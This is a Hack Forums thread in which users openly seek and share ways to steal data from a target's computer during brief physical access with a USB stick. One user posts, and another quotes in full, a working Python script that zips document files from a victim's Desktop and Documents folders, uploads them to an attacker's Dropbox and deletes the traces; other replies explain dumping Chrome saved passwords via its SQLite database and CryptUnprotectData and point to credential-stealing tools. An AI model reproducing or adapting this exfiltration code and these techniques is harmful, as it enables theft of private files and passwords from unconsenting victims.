

Forum:[Hack Forums](#)

Thread: [Data stealing with Python - Ideas?](#)

chaozu - December 4, 2019, 11:47 am

So I am getting into Python and am writing my first "grey/black hat" script, if you could call it like that.

It's just a little script that you put on a USB or bad USB stick and run the .exe on the your desired target.

It extracts the users saved Chrome browser passwords, and lists the browser history and downloads.

It's very simple, but a fun start for a beginner like me.

Now I am wondering, what other fun things you can do with Python. I know how to write a Python Keylogger and Reverse Shell, but I am more looking into things you can steal or rip from the target computer. Like you have access of the targets computer for 1 min and just an USB stick with your script.

How much valuable information can one extract with Python?

Any ideas?

dockTor - December 4, 2019, 6:29 pm

Hard question to answer because it depends on the target. TBH there's a lot of potentially valuable data you could grab like personal documents, pictures, etc. Maybe lists of email contacts. Anything is possible.

gurlhackerclub - December 7, 2019, 11:27 am

I have done something similar. I just zip up txt, doc, and xls files from documents folder and desktop. Then send them to a dropbox account. I will post the code here if anybody asks me too.

Check out LaZagne on github. Written in Python by the same guy that wrote pupy rat. Extracts hashes and wifi passwords.

Are you saving info off? FTP server, Dropbox, email?

is_nimda - December 9, 2019, 9:37 am

(Dec 7, 2019 12:27 PM)gurlhackerclub Wrote: [\[CITE\]](#) I have done something similar. I just zip up txt, doc, and xls files from documents folder and desktop. Then send them to a dropbox account. I will post the code here if anybody asks me too.

Check out LaZagne on github. Written in Python by the same guy that wrote pupy rat. Extracts hashes and wifi passwords.

Are you saving info off? FTP server, Dropbox, email?
yo. hit me up with your samples too.

gurlhackerclub - December 9, 2019, 10:27 pm

here you go

Notice anyone debugging will find the api key.

```
Code import os
import pathlib
from zipfile import ZipFile
import dropbox
from dropbox.files import WriteMode
from dropbox.exceptions import ApiError, AuthError
```

```
#zip documents and desktop folder and send to dropbox
#need to import dropbox
```

```
def sendlog(sendfile):
    dbx=dropbox.Dropbox('your api key here')
    full_path = os.getcwd()
    drive, file_path = os.path.splitdrive(full_path)
    print(file_path)
    file_name=file_path+"/"+sendfile
    p = pathlib.PureWindowsPath(file_name)
    droppath=(p.as_posix())
    print('sending '+droppath)
    with open(droppath, 'rb') as f:
        dbx.files_upload(f.read(),droppath,mute=True) # The change from f to f.read() was made to
        comply with the late-2016 change in the API.
    os.remove(sendfile)
```

```
if __name__ == '__main__':
    desktoppath = (os.path.expanduser('~')) + "/Desktop/"
    for dirName, subdirList, fileList in os.walk(desktoppath):
        for fname in fileList:
            filename, file_extension = os.path.splitext(fname)
            if (file_extension == ".txt" or
                file_extension == ".xls" or
                file_extension == ".doc" or
                file_extension == ".docx"):
                with ZipFile('desktop.zip','a') as zip:
                    zip.write(dirName+"/"+fname)
                    print (dirName+"/"+fname)
    sendfile = 'desktop.zip'
    sendlog(sendfile)
    documents = (os.path.expanduser('~')) + "/Documents/"
    for dirName, subdirList, fileList in os.walk(documents):
        for fname in fileList:
            filename, file_extension = os.path.splitext(fname)
            if (file_extension == ".txt" or
                file_extension == ".xls" or
                file_extension == ".doc" or
                file_extension == ".docx"):
                with ZipFile('documents.zip','a') as zip:
                    zip.write(dirName+"/"+fname)
                    print (dirName+"/"+fname)
```

```
sendfile = 'documents.zip'
sendlog(sendfile)
```

duendeee - December 21, 2019, 1:50 pm

(Dec 9, 2019 11:27 PM)gurlhackerclub Wrote: [\[CITE\]](#) here you go
Notice anyone debugging will find the api key.

```
Code import os
import pathlib
from zipfile import ZipFile
import dropbox
from dropbox.files import WriteMode
from dropbox.exceptions import ApiError, AuthError
```

```
#zip documents and desktop folder and send to dropbox
#need to import dropbox
```

```
def sendlog(sendfile):
    dbx=dropbox.Dropbox('your api key here')
    full_path = os.getcwd()
    drive, file_path = os.path.splitdrive(full_path)
    print(file_path)
    file_name=file_path+"/"+sendfile
    p = pathlib.PureWindowsPath(file_name)
    droppath=(p.as_posix())
    print('sending '+droppath)
    with open(droppath, 'rb') as f:
        dbx.files_upload(f.read(),droppath,mute=True) # The change from f to f.read() was made to
        comply with the late-2016 change in the API.
    os.remove(sendfile)
```

```
if __name__ == '__main__':
    deskpath = (os.path.expanduser('~')) + "/Desktop/"
    for dirName, subdirList, fileList in os.walk(deskpath):
        for fname in fileList:
            filename, file_extension = os.path.splitext(fname)
            if (file_extension == ".txt" or
                file_extension == ".xls" or
                file_extension == ".doc" or
                file_extension == ".docx"):
                with ZipFile('desktop.zip','a') as zip:
                    zip.write(dirName+"/"+fname)
                    print (dirName+"/"+fname)
    sendfile = 'desktop.zip'
    sendlog(sendfile)
    documents = (os.path.expanduser('~')) + "/Documents/"
    for dirName, subdirList, fileList in os.walk(documents):
        for fname in fileList:
            filename, file_extension = os.path.splitext(fname)
            if (file_extension == ".txt" or
                file_extension == ".xls" or
                file_extension == ".doc" or
```

```
file_extension == ".docx"):
    with ZipFile('documents.zip','a') as zip:
        zip.write(dirName+"/"+fname)
        print (dirName+"/"+fname)
sendfile = 'documents.zip'
sendlog(sendfile)
```

thanks for the code, i'm new to python but always wanting to learn different things

hinstera - December 22, 2019, 1:07 am

(Dec 4, 2019 12:47 PM)chaozu Wrote: [\[CITE\]](#) So I am getting into Python and am writing my first "grey/black hat" script, if you could call it like that.

It's just a little script that you put on a USB or bad USB stick and run the .exe on the your desired target.

It extracts the users saved Chrome browser passwords, and lists the browser history and downloads.

It's very simple, but a fun start for a beginner like me.

Now I am wondering, what other fun things you can do with Python. I know how to write a Python Keylogger and Reverse Shell, but I am more looking into things you can steal or rip from the target computer. Like you have access of the targets computer for 1 min and just an USB stick with your script.

How much valuable information can one extract with Python?

Any ideas?

Are you sure chrome password can be stolen? it seems like you get additional four digit codes to access those passwords in chrome.

Emp3hack - December 22, 2019, 3:16 am

(Dec 4, 2019 12:47 PM)chaozu Wrote: [\[CITE\]](#) How much valuable information can one extract with Python?

Any ideas?

Yep, all that kind of information you can get by using C, C++, Java, Golang, Perl and almost every general purpose language.

In other words all informations in your target PC.

It should be a basic knowledge that a language is called this way because also if the syntax (and many other things) are different between different programming languages, they are just a different way to "talk" with a machine. In a similar manner you can say Hello in english or Hallo if you are from Germany: the information is totally the same.

In the end all will be just 1 or 0 (or more exactly, from an electronic point of view, just HIGH voltage signal and LOW voltage signal).

Maybe you wanted to ask what is easy to do for a python beginner?

In that case I would say that you could start by:

copying some files

reading the hostname of your target

getting the current process

parse the clipboard content

read username

browser history

Just use your imagination or think about a funny joke you can do. For example pretend to be a mentalist of some sort by "guessing" the number of file in a folder or by getting the history of their browser.

chaozu - December 22, 2019, 8:24 am

Thank you for your input everyone. Really appreciate it.

(Dec 22, 2019 02:07 AM)hinstera Wrote: [\[CITE\]](#) Are you sure chrome password can be stolen? it seems like you get additional four digit codes to access those passwords in chrome.
Yes sure. You just have to make sure that chrome is closed so you are able to access the sqlite db.

I will be happy to share my code when I get back from holidays.

Just got the compiled .exe with me, so I am not sure if that's of any use for you.

hinstera - December 22, 2019, 10:55 pm

(Dec 22, 2019 09:24 AM)chaozu Wrote: [\[CITE\]](#) Thank you for your input everyone. Really appreciate it.

Yes sure. You just have to make sure that chrome is closed so you are able to access the sqlite db.

I will be happy to share my code when I get back from holidays.

Just got the compiled .exe with me, so I am not sure if that's of any use for you. Interesting...

Emp3hack - December 23, 2019, 3:39 am

(Dec 22, 2019 11:55 PM)hinstera Wrote: [\[CITE\]](#) Interesting...
<https://github.com/roflsandwich/Chrome-Password-Dumper>
<https://github.com/fletchto99/Chrome-Password-Dumper>

Many others available, btw just query sqlite db and then (on windows) unencrypt values with `CryptUnprotectData()`.

The java repo should work on all OS.

sc4ared0ntfe4r - December 24, 2019, 12:40 am

you could look into the LaZagne: Credential recovery project. Its open source and written in python, i think it doesnt work all that well nowadays but it gives a pretty good insight on credential dumping on a windows. this will give you an idea on how you can extract information on various programs

elChungusFungus - December 27, 2019, 8:19 pm

So if you want to get access to a decent bit of "technical assistance tools" like "password retriever tools" and anyway else you want to splice it, just take a look on Gtithub. On it you can find lots of peoples projects where they essentially have done open source malware.